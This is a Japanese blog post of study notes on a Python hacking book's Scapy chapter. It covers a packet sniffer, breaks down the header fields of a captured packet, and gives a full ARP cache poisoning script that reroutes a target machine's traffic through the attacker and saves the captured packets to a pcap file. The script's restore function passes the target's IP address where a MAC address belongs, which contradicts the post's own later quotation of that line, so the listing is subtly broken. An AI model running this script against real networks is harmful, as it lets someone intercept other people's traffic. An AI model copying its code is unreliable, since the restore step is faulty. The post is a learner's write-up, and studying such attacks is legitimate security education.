サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考 4章 勉強まとめ
続きです。
Scapy(パケット操作プログラム)を使って色々とやっていく章。2章と3章で実施した多くの作業が1~2行で実現できるらしい。めっちゃすごい。
この章はKali linux上で行います。
Scapyによるネットワークの掌握
まず、パケットを傍受してその内容を出力するスニッファーを作成する。
# -*- coding: utf-8 -*- from scapy.all import * def packet_callback(packet): print(packet.show) sniff(prn=packet_callback, count=1)
from scapy.all import *
Scapyをインポート。
sniff(prn=packet_callback, count=1)
sniffは傍受用の関数である。
sniff(filter="", iface="any", prn=function, count=N)
上記のような引数をとる。
filterは、Scapyが傍受するパケットに関するBPFフィルター(Wiresharkスタイル)を指定する。
BPF(Berkekey Packet Filter)は、広い意味ではネットワークのdata link層の生データに対しuser spaceからアクセスするためのinterfaceを指す言葉で、狭い意味ではパケットをフィルタするための仕組み
引用元:http://www.tiger1997.jp/report/activity/securityreport_20131111.html
ようは、どのパケットを傍受するか(しないか)決める場合は、filterを指定するのかな。何も指定しない場合はすべてのパケットを傍受する。
ifaceは、どのネットワークインターフェースを傍受するか決める。
prnは、フィルターにマッチしたすべてのパケットに関して呼ばれるコールバック関数を指定する。コールバック関数は、単一の引数としてパケットオブジェクトを受け取る。
countは、傍受したいパケットの数を指定する。何も指定しなければ永遠に傍受する。
ここでは、packet_callback関数をコールバック関数として、パケットを一回傍受している。
print(packet.show())
packet.show()は、パケットの内容が表示される。
ちなみにこんな感じ
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6 ###[ Ethernet ]### dst = ff:ff:ff:ff:ff:ff src = 00:50:56:c0:00:08 type = 0x800 ###[ IP ]### version = 4 ihl = 5 tos = 0x0 len = 161 id = 18051 flags = frag = 0 ttl = 128 proto = udp chksum = 0xed1f src = 192.168.70.1 dst = 255.255.255.255 \options \ ###[ UDP ]### sport = 17500 dport = 17500 len = 141 chksum = 0xa8d4
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
IPv6が設定されていないよってことでしょうか。
###[ Ethernet ]###
以下、Ethernet(MAC Address)の情報です。
dst = ff:ff:ff:ff:ff:ff
宛先Ethernetアドレス
src = 00:50:56:c0:00:08
送信元Ethernetアドレス
type = 0x800
上位層のプロトコルを識別するための番号です。タイプ番号は16進数で表されていて、0x800はIPを指します。
###[ IP ]###
以下、IPの情報です。
version = 4
IPヘッダのバージョン番号の情報。
ihl = 5
IPヘッダの長さの情報。単位は32ビットであることからオプションを使用しない。IPパケットの場合ここでは「5」の値が入る。32bit×5 = 160bit = 20byte。
tos = 0x0
IPパケットの優先順位の情報。例えば音声トラフィックとデータトラフィックとでは音声トラフィックのデータを優先して送出することができる。QoS処理用。数値が大きいほど優先度が大きい。0なので、優先順位の指定はなかったみたい。
len = 161
パケット長。
id = 18051
個々のパケットを識別するための情報。パケットが分割された時に分割されたパケットには同じ識別番号にすることで、受信側で複数の分割されたパケットを受信した場合においても、この識別番号に基づき正しく組み立て処理できる。
flags =
パケット分割における制御の情報。flagsは3ビットのフィールド。1ビット目は未使用で0。2ビット目で、0の場合は分割可能、1の場合は分割禁止。3ビット目が1の場合、あとに分割されたパケットが続く、つまり途中のパケットを意味する。0の場合には、そのパケットが分割されていないか、分割されたパケットの最後のパケットであることを意味する。
frag = 0
フラグメントされたパケットが元のパケットのどの位置であったかを示す情報。フラグメントとは、データグラムの断片化のこと。
ttl = 128
パケットの生存時間を示す情報。実際には、何台のルータ or L3スイッチを通過することができるのかという情報。1台のルータを通過するごとにTTL値は「 1 」つずつ減らされて、TTL値が「 0 」になると、パケットは破棄される。
proto = udp
上位層(トランスポート層)のプロトコルが何であるのかを示す情報。ここでは、UDPを指している。
chksum = 0xed1f
IPヘッダのチェックサムを表す情報。IPヘッダにエラーがないかをチェック。
src = 192.168.70.1
送信元のIPアドレスの情報。
dst = 255.255.255.255
宛先のIPアドレスの情報。
\options \
デバックやテストを行う際に使用される情報。ここでは使用していない。
###[ UDP ]###
以下、UDPの情報です。
sport = 17500
送信元ポート番号。
dport = 17500
宛先ポート番号。
len = 141
パケット長。
chksum = 0xa8d4
UDPヘッダのチェックサムを表す情報。IPヘッダにエラーがないかをチェック。
###[ Raw ]### というものも表示されたのですが、何かわからなかったので載せませんでした。たぶん、生のデータの詳細なのかな。
ちなみに、上記の情報は、
ネットワークエンジニアを目指して -ネットワーク技術の解説とネットワーク関連書籍の紹介-
を参考にしました。このあたりは、別途本やネットで調べたいですね。
Sapyを使ったARPキャッシュポイゾニング
ARPとは、アドレス解決プロトコルのことで、目的のIPアドレスに対応するMACアドレスを探すことを言うらしい。
ARPポイゾニングは、アドレス解決を担うゲートウェイと標的マシンを誤認させ、自分たちのマシンがゲートウェイであり標的マシンの通信はすべて誤認させた自分たちのマシンを通らなければならないと思わせることらしい。
ここのサイト
が分かりやすかった。
# -*- coding: utf-8 -*- from scapy.all import * import os import sys import threading import signal def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): #sendによる復元 print("[*] Restoring target...") send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_ip), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) def get_mac(ip_address): responses, unanswered = srp(Ether( dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) #レスポンス内のMACアドレスを返却 for s,r in responses: return r[Ether].src return None def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print("[*] Beginning the ARP poison. [CTRL-C to stop]") while True: send(poison_target) send(poison_gateway) if stop_event.wait(2): break print("[*] ARP poison attack finished.") return interface = "eth0" target_ip = "標的マシンのIPv4アドレス" gateway_ip = "標的マシンのデフォルトゲートウェイ" packet_count = 1000 #インターフェースの設定 conf.iface = interface #出力の停止 conf.verb = 0 print("[*] Setting up", interface) gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print("[!!!] Failed to get gateway MAC. Exiting.") sys.exit(0) else: print("[*] Gateway {0} is at {1}".format(gateway_ip, gateway_mac)) target_mac = get_mac(target_ip) if target_mac is None: print("[!!!] Failed to get target MAC. Exiting.") sys.exit(0) else: print("[*] Target {0} is at {1}".format(target_ip, target_mac)) #汚染用スレッドの起動 stop_event = threading.Event() poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac, stop_event)) poison_thread.start() print("[*] Starting sniffer for {} packets".format(packet_count)) bpf_filter = "ip host {}".format(target_ip) packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) #キャプチャーしたパケットの保存 wrpcap('arper.pcap', packets) #汚染用スレッドの停止 stop_event.set() poison_thread.join() #ネットワークの復元 restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
ネットワークをARPポイゾニングが起こる前に戻す関数
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_ip), count=5)
send は、パケットを送る関数です。プロトコルの引数がARP()のみですね。これはARPパケットだけを送信するよといった感じですかね。もう1つの引数のcount は送る回数……たぶん。
ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac)
ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac)
ARPパケットの中身の定義。
opは、オペレーションコード。op=1 がARP要求で、OP=2 がARP応答。
ARP要求というのは、「このIPアドレスと対応しているMACアドレスはどこー?」
で、
ARP応答というのは、「そのIPアドレスと対応しているMACアドレスはこれ!!」
みたいな感じですかね(雑)。
ちなみに、MACアドレス「ff:ff:ff:ff:ff:ff」は、ゲートウェイによって区切られているすべての端末を指します。
psrcとpdstは、IPアドレスの送信元と宛先のことで、hwdstとhwsrcはMACアドレスの送信元と宛先でしょうか。
この辺は日本語の情報が少なくて辛い。
get_mac(ip_address):
ARP要求をする関数。
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10)
公式ドキュメント: http://www.secdev.org/projects/scapy/doc/usage.html#arp-ping
のARP Pingのところにまんまのサンプルが載っていました。ip_addressへARP要求しているのでしょう。
return r[Ether].src
ARP応答として返ってきた「イーサネット」の送信元MACアドレス(=ARP要求したip_addressに対応したMACアドレス)を指しています。
応答と要求で送信元と宛先が逆になるのでちょっと注意が必要ですね。
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event):
ゲートウェイを通る標的マシン宛のパケットは、すべて自分たちの方にも送られ、
標的マシンがゲートウェイを通して送るパケットを、すべて自分たちの方へ送られるように汚染しています。
hwsrc が指定されていないのは、デフォルトで自分のマシンのMACアドレスが指定されるようになっているんでしょうね。
conf.iface = interface
conf.verb = 0
Scapyの設定……詳しい情報が見つからなかったので保留。
stop_event = threading.Event()
stop_event.wait(2)
stop_event.set()
poison_thread.join()
threading.Event()は、イベントオブジェクトを実装しているクラス。ようは、フラグによって、スレッド待たせることができる。デフォルトの内部フラグ値はfalse。
まず、イベントを作り、poison_target関数の引数にそのイベントを指定し、threadを始動させる。
stop_event.wait(2)は、stop_event.set()により内部フラグがTrueになると、戻り値もTrueとなります。
ctrl+C が入力されるまでpoison_threadが動き続け、入力後はメインスレッドのstop_event.set()より内部フラグがTrueになり……といった感じでしょうか。
poison_thread.join()は、poison_threadが終了するまでメインスレッドをブロックしておくことができます。
公式ドキュメント: http://docs.python.jp/3/library/threading.html#event-objects, http://docs.python.jp/3/library/threading.html#threading.Thread.join
wrpcap('arper.pcap', packets)
パケットをpcapファイルへ出力する。
実際に試してみると、ゲートウェイのMACアドレスが攻撃マシンのMACアドレスになっているので感動。
確かにこれは悪巧みに使えてしまう……
pcapファイルの処理
かなり面白いことをしているのですが、顔検出の学習ファイルがDL出来なかったので保留。